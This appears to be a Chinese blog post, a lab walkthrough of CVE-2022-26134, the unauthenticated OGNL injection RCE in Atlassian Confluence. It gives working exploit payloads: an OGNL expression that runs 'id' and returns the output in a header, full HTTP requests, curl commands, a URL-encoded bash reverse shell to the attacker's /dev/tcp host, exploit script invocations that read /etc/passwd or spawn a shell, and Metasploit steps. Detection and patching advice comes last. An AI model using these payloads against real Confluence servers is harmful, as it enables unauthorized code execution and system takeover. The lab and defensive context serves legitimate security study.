【CVE-2022-26134】Confluence OGNL RCE 漏洞

漏洞描述

远程攻击者在未经身份验证的情况下,可构造OGNL表达式进行注入,实现在Confluence Server或Data Center上执行任意代码。

影响版本

Confluence Server and Data Center >= 1.3.0

Confluence Server and Data Center < 7.4.17

Confluence Server and Data Center < 7.13.7

Confluence Server and Data Center < 7.14.3

Confluence Server and Data Center < 7.15.2

Confluence Server and Data Center < 7.16.4

Confluence Server and Data Center < 7.17.4

Confluence Server and Data Center < 7.18.1

背景知识

confluence

Atlassian Confluence(简称Confluence)是一个专业的wiki程序。它是一个知识管理的工具,通过它可以实现团队成员之间的协作和知识共享。团队将日常的工作任务进度管理、技术知识分享、开发文档、操作手册、文档附件都放置入Confluence中进行统一管理,富文本编辑器使文档内容支持更加丰富。

主要使用场景

目前,Confluence被用于广泛地用于项目团队,开发团队,市场销售团队。

漏洞危害

漏洞评分9.8,危害等级严重,攻击者可以利用此漏洞执行任意代码,直接获得权限。

漏洞原理

攻击者提供的URI将被转换为namespace,然后该namespace将被转换为OGNL表达式进行计算(攻击者提供的url被间接转化成了OGNL表达式进行计算)

OGNL

OGNL是一种功能强大的表达式语言,可以存取对象的任意属性,调用对象的方法,遍历整个对象的结构图,实现字段类型转化等功能。它使用相同的表达式去存取对象的属性。

OGNL常用表达式

1、当使用OGNL调用静态方法的时候,需要按照如下语法编写表达式:

@package.classname@methodname(parameter)

2、对于OGNL来说,java.lang.Math是其的默认类,如果调用java.lang.Math的静态方法时,无需指定类的名字,比如:@@min(4, 10);

环境搭建

目标机:Ubunut 192.168.164.129

攻击机:Kali 192.168.164.128

docker-compose up -d

环境搭建后访问192.169.164.129:8090即可访问页面

 进入后的页面

 漏洞验证与利用

1、BurpSuite

poc构造

${(#a=@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec("id").getInputStream(),"utf-8")).(@com.opensymphony.webwork.ServletActionContext@getResponse().setHeader("X-Cmd-Response",#a))}

使用URL转换

%24%7B%28%23a%3D%40org.apache.commons.io.IOUtils%40toString%28%40java.lang.Runtime%40getRuntime%28%29.exec%28%22id%22%29.getInputStream%28%29%2C%22utf-8%22%29%29.%28%40com.opensymphony.webwork.ServletActionContext%40getResponse%28%29.setHeader%28%22X-Cmd-Response%22%2C%23a%29%29%7D

 数据包如下(不可复制)

GET //%24%7B%28%23a%3D%40org.apache.commons.io.IOUtils%40toString%28%40java.lang.Runtime%40getRuntime%28%29.exec%28%22id%22%29.getInputStream%28%29%2C%22utf-8%22%29%29.%28%40com.opensymphony.webwork.ServletActionContext%40getResponse%28%29.setHeader%28%22X-Cmd-Response%22%2C%23a%29%29%7D/ HTTP/1.1
Host: 192.168.164.129:9080
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/102.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: JSESSIONID=3764D915B037D5A50D8025AA793E990A
Connection: close

 getshell

GET //%24%7Bnew%20javax.script.ScriptEngineManager%28%29.getEngineByName%28%22nashorn%22%29.eval%28%22new%20java.lang.ProcessBuilder%28%29.command%28%27bash%27%2C%27-c%27%2C%27bash%20-i%20%3E%26%20/dev/tcp/192.168.164.128/9898%200%3E%261%27%29.start%28%29%22%29%7D/ HTTP/1.1

%2F%2F%24%7Bnew+javax.script.ScriptEngineManager%28%29.getEngineByName%28%22nashorn%22%29.eval%28%22new+java.lang.ProcessBuilder%28%29.command%28%27bash%27%2C%27-c%27%2C%27bash+-i+%3E%26+%2Fdev%2Ftcp%2F192.168.164.128%2F9898+0%3E%261%27%29.start%28%29%22%29%7D%2F

2、CURL

curl -v http://192.168.164.129:8090//%24%7B%28%23a%3D%40org.apache.commons.io.IOUtils%40toString%28%40java.lang.Runtime%40getRuntime%28%29.exec%28%22id%22%29.getInputStream%28%29%2C%22utf-8%22%29%29.%28%40com.opensymphony.webwork.ServletActionContext%40getResponse%28%29.setHeader%28%22X-Cmd-Response%22%2C%23a%29%29%7D/ 

 3、EXP利用

 python3 CVE-2022-26134.py -h #帮助

python3 CVE-2022-26134.py --rhost 192.168.164.129 --rport 8090 --lhost 192.168.164.128 --protocol http:// --read-file /etc/passwd #读取文件

python3 CVE-2022-26134.py --rhost 192.168.164.129 --rport 8090 --lhost 192.168.164.128 --protocol http:// --reverse-shell #获取shell

 不太好使

4、MSF

search 26134

set rhosts 192.168.164.129
set lhost 192.168.164.128
run

 

 漏洞检测

1、版本检测

在登录界面以及Confluence主界面都能看到版本号,对应版本号可能会存在相关漏洞。

2、手动检测

利用BurpSuite或者是curl手动检测

3、脚本检测

支持单个url检测以及批量url检测。

 Fofa语句

还是别乱搞了吧

漏洞修复

  1. 升级Atlassian Confluence Server and Data Center至安全版本。
  2. 下载官方发布的xwork-1.0.3-atlassian-10.jar替换confluence/WEB-INF/lib/目录下原来的xwork jar文件,并重启Confluence。
  3. 拦截请求参数中包含"getRuntime().exec("或"/etc/passwd"的流量。
     

注:漏洞脚本非原创

  • 3
    点赞
  • 10
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值